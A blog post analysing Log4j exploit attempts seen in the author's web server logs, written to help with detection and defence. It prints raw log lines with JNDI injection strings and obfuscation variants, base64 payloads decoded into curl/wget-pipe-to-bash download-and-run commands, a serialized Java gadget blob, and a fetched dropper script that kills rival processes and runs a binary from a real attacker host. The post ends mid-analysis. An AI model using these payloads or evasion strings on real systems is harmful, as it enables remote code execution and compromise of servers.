Traffic Journal ::008:: Log4j Vulnerability String Bypass Obfuscation

News and Background on Log4j Vulnerability

Overall Concerns on Privacy of Logs

Normally I tend to err on the side of caution when displaying IP addresses given the nature of security researchers who might be executing searches or exploiting vulnerabilities, but for two reasons I have decided not to use any IP redaction that I have previously.

1) I have not really seen much in terms of “security researcher” type traffic in looking at the logs in question for this type of vulnerability on my servers.

2) Any “security research” that is conducted in this way has the same moral/ethical high ground as the Carna Botnet and likely is a clear violation of the CFAA (Computer Fraud and Abuse Act), which the Carna Botnet was run by someone who knew well enough to stay in the shadows and not reveal their identity. While I have no intention to press charges anyone conducting this research (especially since I'm not vulnerable to the log4j vulnerability), I simply don't really have any sympathy for those not covering their tracks while conducting this research.

3) The exact nature of what I'm attempting to discuss here prevents the discussion of what I'm trying to discuss without revealing the IPs, and the obfuscation even if tried might not be successful.

So, these logs are just going to be raw, but they will be exclusive to attacks of the log4j vulnerability itself and discussion of some of the obfuscation techniques being used in the wild.

PS: If you don't know the history of the Carna Botnet, well worth your read and marvel at the graphic produced here:

http://www.spiegel.de/international/world/hacker-measures-the-internet-illegally-with-carna-botnet-a-890413.html

https://en.wikipedia.org/wiki/Carna_botnet

Additional Ethical/Moral Concerns

I had some time to think about this, and I want to contest that any of this is “security research” at all. Quoting the WSJ article:

“During a roughly 24-hour period, the security firm Check Point Software Technologies Ltd. said it saw more than 100,000 attempts to exploit the bug, about half of which it estimated were from malicious cyberattackers. The rest were by legitimate researchers, either governments scanning national infrastructure or security researchers, Check Point said.”

So to contest Check Point Software, spamming these Log4j exploits across the whole internet just to get datapoints might be useful to get whatever you are trying to get, but it's an “ends justify the means” situation. These “security researchers” are scanning and in order to determine a binary “hackable” or “unhackable” datapoint they will have definitely executed code on systems they do not have access to. They may think of this as “grey hat”, but they do not know anything about the systems in question. This could interrupt the flow of the software in question since it largely runs on top of Apache Tomcat (sorry, but this is largely an unstable product that crashes all the time), or proprietary or closed-source software that will act in undocumented ways.

It could range from:

Mild: A server just sitting there, nobody notices or it gets patched.

Moderate: System administrator has to restart a service, an IDS/IPS system gets flagged, a bunch of teams get involved on the incident, costs get incurred to investigate the incident finding no malicious activity, stress and mental damages to those who had no reason to and might have distracted them from patching what they were trying to patch in the first place (giving other attackers room to exploit it in the time allotted). It could cause company wide outages in random systems.

Severe: The “security researcher” just exploited a system that cascaded a DoS on a hospital system (or any other mission critical system or Industrial Control System), potentially a medicine lookup system where a patient urgently needs… what was it he was prescribed? Oh the system is down? Now the patient is dead. In ICS system this could lead to chemical leaks, nuclear waste leaks, etc.

So regardless of what the “security researcher” thinks in this case, this is clear “black hat malicious activity”. The fact that large security research organizations are participating in this activity is alarming, and I actually do wish the US government prosecutes them in this case due to the nature of their not thinking about the long term consequences of their actions. They could get people killed and not realize, ever know, or care.

This wasn't like a security vulnerability that everyone knew about either, it was just the patch was released, then a starter pistol was fired on patching and the exploits came faster than the software could be patched. Some proprietary software STILL does not have patches for their software out, so their customers who are affected through no fault of their own will now be completely screwed.

I personally view any attempts to exploit this as “black hat malicious activity” exclusively, there is no legitimate “security researchers” doing this activity, even if they are well known security outfits. They have crossed the line into malicious criminal hacking gangs with corporate checking accounts.

The Tricks Noticed to Bypass IDS/IPS Through Obfuscation

To exploit the log4j vulnerability, one would inject a string like the following into a variable that gets logged by log4j somewhere, which should allow you to remote execute:

${jndi:ldap://<INSERT_HOSTNAME>}

Some have been looking to just detect “${jndi:ldap://” and be done with it, but there are many obfuscation tricks I've noticed being employed on my own servers.

These include using URL encoding, among almost a whole suite of some form of Java string internal manipulation tricks to bypass any forms of detection. These can look like the following:

$%7Bjndi:ldap://
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}
${jndi:${lower:l}d${lower:ap}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}a${lower:p}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://
${j${k8s:k5:-ND}i${sd:k5:-:}ldap://
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//

I've also seen, using the “${::-j}” style methods, this sort of thing to use environment variables (of which there are probably plenty in odd ways):

${env:ENV_NAME:-j}
${env:ENV_NAME:-:}

Which should resolve to “j” and “:” respectively. These string manipulations also work WITHIN the string of the hostname involved, which means even known blacklisted IPs and hostnames would be difficult to block as they could just employ a random ${lower:x} command in the middle of the hostname, so an advanced IDS/IPS would have to decode the string which could be tricky depending on the many many ways they could use these tricks in conjunction with each other. Interesting ways to bypass IDS/IPS or log search for sure.

Another thing being overlooked is that LDAP isn't the only protocol being called, I've seen the following procotols being called/executed:

${jndi:ldap://
${jndi:ldaps://
${jndi:dns://
${jndi:iiop://
${jndi:rmi://

And finally, the Base64 callback for remote code execution. An example here:

45.155.205.233 - - [12/Dec/2021:04:55:06 +0000] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MC4xMTYuNDEuNDg6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvNTAuMTE2LjQxLjQ4OjgwKXxiYXNo} HTTP/1.1" 302 399 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MC4xMTYuNDEuNDg6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvNTAuMTE2LjQxLjQ4OjgwKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MC4xMTYuNDEuNDg6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvNTAuMTE2LjQxLjQ4OjgwKXxiYXNo}"

The LDAP URL should use this as a DN search string, but also acts as a hidden shell execution for some reason.

(curl -s 45.155.205.233:5874/50.116.41.48:80||wget -q -O- 45.155.205.233:5874/50.116.41.48:80)|bash

So, try to quietly execute curl to output to /dev/stdout, if not then fallback on “50.116.41.48:80” (which at time of writing is the DNS A Record of this current site… so fail gracefully), if curl is unavailable, fall back on wget if available and quietly execute to /dev/stdout, then pipe whichever succeeded to bash and have that execute their shell script which remote code executes.

Attempting to download from these URLs on a safe VM that can be destroyed yields nothing, which means they are probably only keeping the payload servers up long enough for the attack to work then shutting them offline or switching ports/IPs for their next attempted attacks. Also a smart move, which means the types of attackers employing the log4j attacks are using very sophisticated methods.

A list of the attempted Base64 encoded payloads dropped so far on my server are:

(curl -s 45.155.205.233:5874/50.116.41.48:80||wget -q -O- 45.155.205.233:5874/50.116.41.48:80)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:80||wget -q -O- 45.155.205.233:5874/50.116.41.48:80)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:443||wget -q -O- 45.155.205.233:5874/50.116.41.48:443)|bash
(curl -s 195.54.160.149:5874/50.116.41.48:80||wget -q -O- 195.54.160.149:5874/50.116.41.48:80)|bash
(curl -s 195.54.160.149:5874/50.116.41.48:80||wget -q -O- 195.54.160.149:5874/50.116.41.48:80)|bash
(curl -s 195.54.160.149:5874/50.116.41.48:80||wget -q -O- 195.54.160.149:5874/50.116.41.48:80)|bash
(curl -s 195.54.160.149:5874/50.116.41.48:80||wget -q -O- 195.54.160.149:5874/50.116.41.48:80)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:80||wget -q -O- 45.155.205.233:5874/50.116.41.48:80)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:80||wget -q -O- 45.155.205.233:5874/50.116.41.48:80)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:443||wget -q -O- 45.155.205.233:5874/50.116.41.48:443)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:80||wget -q -O- 45.155.205.233:5874/50.116.41.48:80)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:80||wget -q -O- 45.155.205.233:5874/50.116.41.48:80)|bash
(curl -s 45.155.205.233:5874/50.116.41.48:443||wget -q -O- 45.155.205.233:5874/50.116.41.48:443)|bash
wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
(curl -s 195.54.160.149:5874/50.116.41.48:80||wget -q -O- 195.54.160.149:5874/50.116.41.48:80)|bash

Advanced Phishing

Some of the exploits appear to look like “grey hat” hackers “notifying” you that you are vulnerable to log4j by exploiting log4j, then identifying themselves as “security researchers”. Then they say “we have blah blah information analytics teams 24/7 sign up today for cybersecurity insights, etc”, and ask for information regarding your software/hardware infrastructure so they can email/notify you when a vulnerability in your products is being exploited.

This is a novel way to socially engineer system administrators to give away the details of their infrastructure so that attackers do not have to do any security scans or have to conduct further social engineering of their own.

Trust no one. Give your data to nobody. Ever.

Analyzing Attack Hosts (Hunting Wabbits)

195.54.160.149

$ ldapsearch -x -H ldap://195.54.160.149:12344 -b Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC81MC4xMTYuNDEuNDg6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNTAuMTE2LjQxLjQ4OjgwKXxiYXNo
# extended LDIF
#
# LDAPv3
# base <Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC81MC4xMTYuNDEuNDg6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNTAuMTE2LjQxLjQ4OjgwKXxiYXNo> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC81MC4xMTYuNDEuN
 Dg6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNTAuMTE2LjQxLjQ4OjgwKXxiYX
 No
javaClassName: foo
javaCodeBase: http://195.54.160.149:9999/
objectClass: javaNamingReference
javaFactory: ExploitHVuuwQu6IB

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i http://195.54.160.149:9999/
curl: (56) Recv failure: Connection reset by peer

Phooey.

From this Base64 decoded payload, though:

(curl -s 195.54.160.149:5874/50.116.41.48:80||wget -q -O- 195.54.160.149:5874/50.116.41.48:80)|bash

Using curl in a VM, carefully:

$ curl -i 195.54.160.149:5874
HTTP/1.1 200 OK
Date: Wed, 15 Dec 2021 19:07:15 GMT
Content-Length: 0

This was likely not a “malicious” attacker, so my connection threw off his evil data collection muahhahahahahahahahha. Maliciously gathered data must be tampered with. EXTERMINATE!!!11

curl -i "http://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC81MC4xMTYuNDEuNDg6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNTAuMTE2LjQxLjQ4OjgwKXxiYXNo"
curl: (1) Received HTTP/0.9 when not allowed

Interesting way of blocking access, throw out HTTP/0.9 protocol when HTTP/1.0 spec was created in 1996 probably before most ancient browsers were even invented, so even they likely didn't support HTTP/0.9.

159.223.5.30

From this log file:

139.59.70.139 - - [16/Dec/2021:02:58:17 +0000] "GET / HTTP/1.0" 301 225 "${jndi:ldap://159.223.5.30:443/}" "nimaps/1.1 ${jndi:ldap://159.223.5.30:443/}"
139.59.70.139 - - [16/Dec/2021:05:56:20 +0000] "GET / HTTP/1.0" 301 225 "${jndi:ldap://159.223.5.30:1389/a}" "nimaps/1.1 ${jndi:ldap://159.223.5.30:1389/a}"

$ ldapsearch -x -H ldap://159.223.5.30:1389 -b a
# extended LDIF
#
# LDAPv3
# base <a> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: a
javaClassName: foo
javaCodeBase: http://159.223.5.30:443/
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i http://159.223.5.30:443/

This 443 port on this server turns into a blackhole, nothing ever responds and it retries forever, so this is a good way to DoS something. Much more malicious behavior.

193.3.19.159

$ ldapsearch -x -H ldap://193.3.19.159:53 -b c
# extended LDIF
#
# LDAPv3
# base <c> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: c
javaClassName: foo
javaCodeBase: http://193.3.19.159:80/
objectClass: javaNamingReference
javaFactory: LogMe

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl http://193.3.19.159:80/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>

$ curl -i http://193.3.19.159/c
HTTP/1.1 404 Not Found
Date: Wed, 15 Dec 2021 16:22:44 GMT
Server: Apache
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

$ curl -i http://193.3.19.159/
HTTP/1.1 403 Forbidden
Date: Wed, 15 Dec 2021 16:22:54 GMT
Server: Apache
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>

Interesting to point out that the root returned 403 Forbidden, but the “/c” returned 404.

162.55.90.26

$ ldapsearch -x -H ldap://162.55.90.26 -b 846473520/C
# extended LDIF
#
# LDAPv3
# base <846473520/C> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: 846473520/C
javaClassName: foo
javaCodeBase: http://162.55.90.26/
objectClass: javaNamingReference
javaFactory: C

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Now from the LDAP return:

$ curl -i http://162.55.90.26/
HTTP/1.0 404 Not Found
Content-type: text/html
Date: Wed, 15 Dec 2021 16:25:18 GMT
Connection: close

<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
<BODY><H1>404 Not Found</H1>
The requested URL was not found
</BODY></HTML>

$ curl -i http://162.55.90.26/846473520/C
HTTP/1.0 404 Not Found
Content-type: text/html
Date: Wed, 15 Dec 2021 16:25:18 GMT
Connection: close

<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
<BODY><H1>404 Not Found</H1>
The requested URL was not found
</BODY></HTML>

Looking at the previous one, both the root and the path returned 404.

31.131.16.127

From logs:

34.80.118.173 - - [16/Dec/2021:17:40:42 +0000] "GET / HTTP/1.1" 200 96 "-" "${jndi:ldap://31.131.16.127:1389/Exploit}"

$ ldapsearch -x -H ldap://31.131.16.127:1389 -b Exploit
# extended LDIF
#
# LDAPv3
# base <Exploit> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Exploit
javaClassName: foo
javaCodeBase: http://137.184.174.180:8082/
objectClass: javaNamingReference
javaFactory: Exploit

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

I can't really show what I saw on the command line, so I took some screenshots:

A “test” install of WordPress where every page redirected to the WordPress admin page on the Edit Theme page, saying “Twenty Seventeen: Theme Header (header.php)”. Since nothing else works, I can't really tell what it was doing other than probably trying to trick your WordPress install into dropping their configuration onto yours. Perhaps another WordPress hack on top of things. Fascinating trick. Hitting any buttons just logs you out, so I'm assuming it's a fake install or just a heavily stripped down install of WordPress.

Everything I saw in the code looked pretty benign, other than the dangling JavaScript pulls, which could easily be changed whenever they wanted to. So whatever exploits they wanted could end up changing as they please. It could just be a simple attempt at a defacement, but it also looks like with the quick timeout on the login it could easily be a phishing attack. There's also way too many of them for me to track, and I'm tracking other things with regard to this right now.

Since this here particular site is hosted on Linode, this is a pretty good targeting, and a much more malicious attack than the last. Seems as time progresses more malicious activity comes out.

159.223.5.30

From log:

137.184.218.211 - - [17/Dec/2021:05:14:08 +0000] "GET / HTTP/1.0" 400 226 "${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}3.5.30:44${::-3}/${::-o}=${::-t}omca${::-t}}" "ekausif/3.1 ${${::-j}${::-n}d${::-i}:${::-l}${::-d}${::-a}${::-p}://${::-1}${::-5}${::-9}.${::-2}${::-2}3.5.30:44${::-3}/${::-o}=${::-t}omca${::-t}}"

$ ldapsearch -x -H ldap://159.223.5.30:443 -b tomcat
# extended LDIF
#
# LDAPv3
# base <tomcat> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: tomcat
objectClass: javaNamingReference
javaClassName: xUnknown
javaFactory: xExportObject
javaCodeBase: http://159.223.5.30:80/

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i http://159.223.5.30:80/
HTTP/1.1 200 OK
Date: Fri, 17 Dec 2021 07:10:27 GMT
Transfer-encoding: chunked

No payload, but 7 minutes later…

$ curl -i http://159.223.5.30:80/
curl: (56) Recv failure: Connection reset by peer

$ ldapsearch -x -H ldap://159.223.5.30:443 -b tomcat
ldap_result: Can't contact LDAP server (-1)

Interesting how it shut itself off after it got activated. Either that or I just barely snuck in there in the window of time they left it up. Or they got skurd.

159.223.5.30

137.184.218.211 - - [17/Dec/2021:08:25:27 +0000] "GET / HTTP/1.0" 301 225 "${jndi:ldap://159.223.5.30:1389/o=reference,payload=itzbenz.payload.RickRoll}" "borchuk/3.1 ${jndi:ldap://159.223.5.30:1389/o=reference,payload=itzbenz.payload.RickRoll}"

$ ldapsearch -x -H ldap://159.223.5.30:1389 -b o=reference,payload=itzbenz.payload.RickRoll
# extended LDIF
#
# LDAPv3
# base <o=reference,payload=itzbenz.payload.RickRoll> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# reference, itzbenz.payload.RickRoll
dn: o=reference,payload=itzbenz.payload.RickRoll
javaClassName: itzbenz.payload.ObjectPayloadSerializable
javaSerializedData:: rO0ABXNyAClpdHpiZW56LnBheWxvYWQuT2JqZWN0UGF5bG9hZFNlcmlhb
 Gl6YWJsZcPo5DPUG2MZAgABTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAYaXR6YmVuei
 5wYXlsb2FkLlJpY2tSb2xs
javaCodeBase: http://159.223.5.30:80/

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

$ curl -i http://159.223.5.30:80/
HTTP/1.1 200 OK
Date: Fri, 17 Dec 2021 09:08:24 GMT
Content-length: 11

Hello World

Hmm… was hoping for an actual RickRoll. Kinda disappointed.

103.104.73.155

95.173.156.193 - - [17/Dec/2021:22:13:35 +0000] "GET / HTTP/1.1" 200 96 "ff=${jndi:ldap://103.104.73.155:1389/Deserialization/CommonsCollectionsK2/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2N8fGN1cmwgLW8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2MpfC9iaW4vYmFzaA==}" "ff=${jndi:ldap://103.104.73.155:1389/Deserialization/CommonsCollectionsK2/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2N8fGN1cmwgLW8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2MpfC9iaW4vYmFzaA==}"

$ ldapsearch -x -H ldap://103.104.73.155:1389 -b Deserialization/CommonsCollectionsK2/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2N8fGN1cmwgLW8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2MpfC9iaW4vYmFzaA==
# extended LDIF
#
# LDAPv3
# base <Deserialization/CommonsCollectionsK2/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2N8fGN1cmwgLW8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2MpfC9iaW4vYmFzaA==> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: Deserialization/CommonsCollectionsK2/Command/Base64/KHdnZXQgLU8gLSBodHRwOi
 8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2N8fGN1cmwgLW8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU
 6ODAwMi9hY2MpfC9iaW4vYmFzaA==
javaClassName: foo
javaSerializedData:: rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZ
 EZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANW9yZy5hcGFjaGUuY29tbW
 9ucy5jb2xsZWN0aW9uczQua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJ
 MamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9y
 Zy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDA
 AZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2
 NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABF
 fb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tb
 Qkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABQ3K/rq+AAAAMgA9AQARRXhwb
 G9pdGZmUG1zUDdNdU4HAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdG
 MvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQA
 GPGluaXQ+AQADKClWAQATamF2YS9pby9JT0V4Y2VwdGlvbgcACQwABwAICgAEAAsBAAxqYXZhL2lv
 L0ZpbGUHAA0BAAlzZXBhcmF0b3IMAA8ABgkADgAQAQABLwgAEgEAEGphdmEvbGFuZy9TdHJpbmcHA
 BQBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoMABYAFwoAFQAYAQAHL2Jpbi9zaAgAGg
 EAAi1jCAAcDAAFAAYJAAIAHggABQEAAi9DCAAhAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAIwEAEWp
 hdmEvbGFuZy9SdW50aW1lBwAlAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwA
 JwAoCgAmACkBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzO
 wwAKwAsCgAmAC0BAA9wcmludFN0YWNrVHJhY2UMAC8ACAoACgAwAQAJdHJhbnNmb3JtAQByKExjb2
 0vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXB
 hY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQA5Y29t
 L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uBwA0A
 QCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL2
 9yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2F
 wYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACDxj
 bGluaXQ+AQBeKHdnZXQgLU8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2N8fGN1cmwgL
 W8gLSBodHRwOi8vMTAzLjEwNC43My4xNTU6ODAwMi9hY2MpfC9iaW4vYmFzaAgAOAEABENvZGUBAA
 1TdGFja01hcFRhYmxlAQAKRXhjZXB0aW9ucwAhAAIABAAAAAEACgAFAAYAAAAEAAEABwAIAAEAOgA
 AAH4ABAADAAAATSq3AAyyABESE7YAGZkAGwa9ABVZAxIbU1kEEh1TWQWyAB9TTKcAGAa9ABVZAxIg
 U1kEEiJTWQWyAB9TTLgAKiu2AC5XpwAITSy2ADGxAAEAPABEAEcACgABADsAAAAXAAT/ACcAAQcAA
 gAA/AAUBwAkSgcACgQAAQAyADMAAgA6AAAADQAAAAMAAAABsQAAAAAAPAAAAAQAAQA1AAEAMgA2AA
 IAOgAAAA0AAAAEAAAAAbEAAAAAADwAAAAEAAEANQAIADcACAABADoAAAASAAEAAAAAAAYSObMAH7E
 AAAAAAAB1cQB+AA4AAAHpyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJ
 RAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpb
 mVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYX
 NzZXMBACxMY29tL2ZlaWhvbmcvbGRhcC9nYWRnZXRzL3V0aWxzL0dhZGdldHMkRm9vOwEAClNvdXJ
 jZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAKmNvbS9mZWlob25nL2xkYXAvZ2FkZ2V0cy91
 dGlscy9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZ
 QEAJmNvbS9mZWlob25nL2xkYXAvZ2FkZ2V0cy91dGlscy9HYWRnZXRzACEAAgADAAEABAABABoABQ
 AGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMgA
 OAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNy
 ACtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0Lm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMA
 AdmYWN0b3J5dAAtTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9uczQvVHJhbnNmb3JtZXI7eH
 BzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5JbnZva2VyVHJhbnN
 mb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2RO
 YW1lcQB+AAlbAAtpUGFyYW1UeXBlc3EAfgAIeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8Qc
 ylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWp
 kCAAB4cAAAAABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQAAXR4

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Let's just say buried in that mess is the following:

(wget -O - http://103.104.73.155:8002/acc||curl -o - http://103.104.73.155:8002/acc)|/bin/bash

$ curl -i http://103.104.73.155:8002/acc
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 1090
Content-Type: text/plain; charset=utf-8
Last-Modified: Thu, 16 Dec 2021 14:15:01 GMT
Date: Fri, 17 Dec 2021 22:15:25 GMT

export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
wget http://103.104.73.155:8002/linux$(whoami)||curl http://103.104.73.155:8002/linux$(whoami)
ps axf -o "pid"|while read procid
do
        ls -l /proc/$procid/fd | grep /tmp
        if [ $? -ne 1 ]
        then
                ls -l /proc/$procid/fd| grep -a -E "/var/tmp/adasdkjzlcasd"
                if [ $? -ne 0 ]
                then
                        kill -9 $procid
                                                echo zhaodao $procid
                else
                        echo "don't kill"$procid
                fi
        fi
done

ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read procid
do
        ls -l /proc/$procid/exe| grep -a -E "/var/tmp/asdasdasdwxasd"
        if [ $? -ne 0 ]
        then
                kill -9 $procid
                echo zhaodao $procid
        else
                echo "don't kill"$procid
        fi
done

wget http://103.104.73.155:8002/index -O /tmp/index ||curl -o /tmp/index http://103.104.73.155:8002/index
chmod 777 /tmp/index
/tmp/index

$ curl -i http://103.104.73.155:8002/index
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 1795184
Content-Type: application/octet-stream
Last-Modified: Thu, 16 Dec 2021 14:16:20 GMT
Date: Fri, 17 Dec 2021 22:15:43 GMT

Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

$ curl http://103.104.73.155:8002/index --output binary.bin
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 1753k  100 1753k    0     0   845k      0  0:00:02  0:00:02 --:--:--  845k

$ file binary.bin 
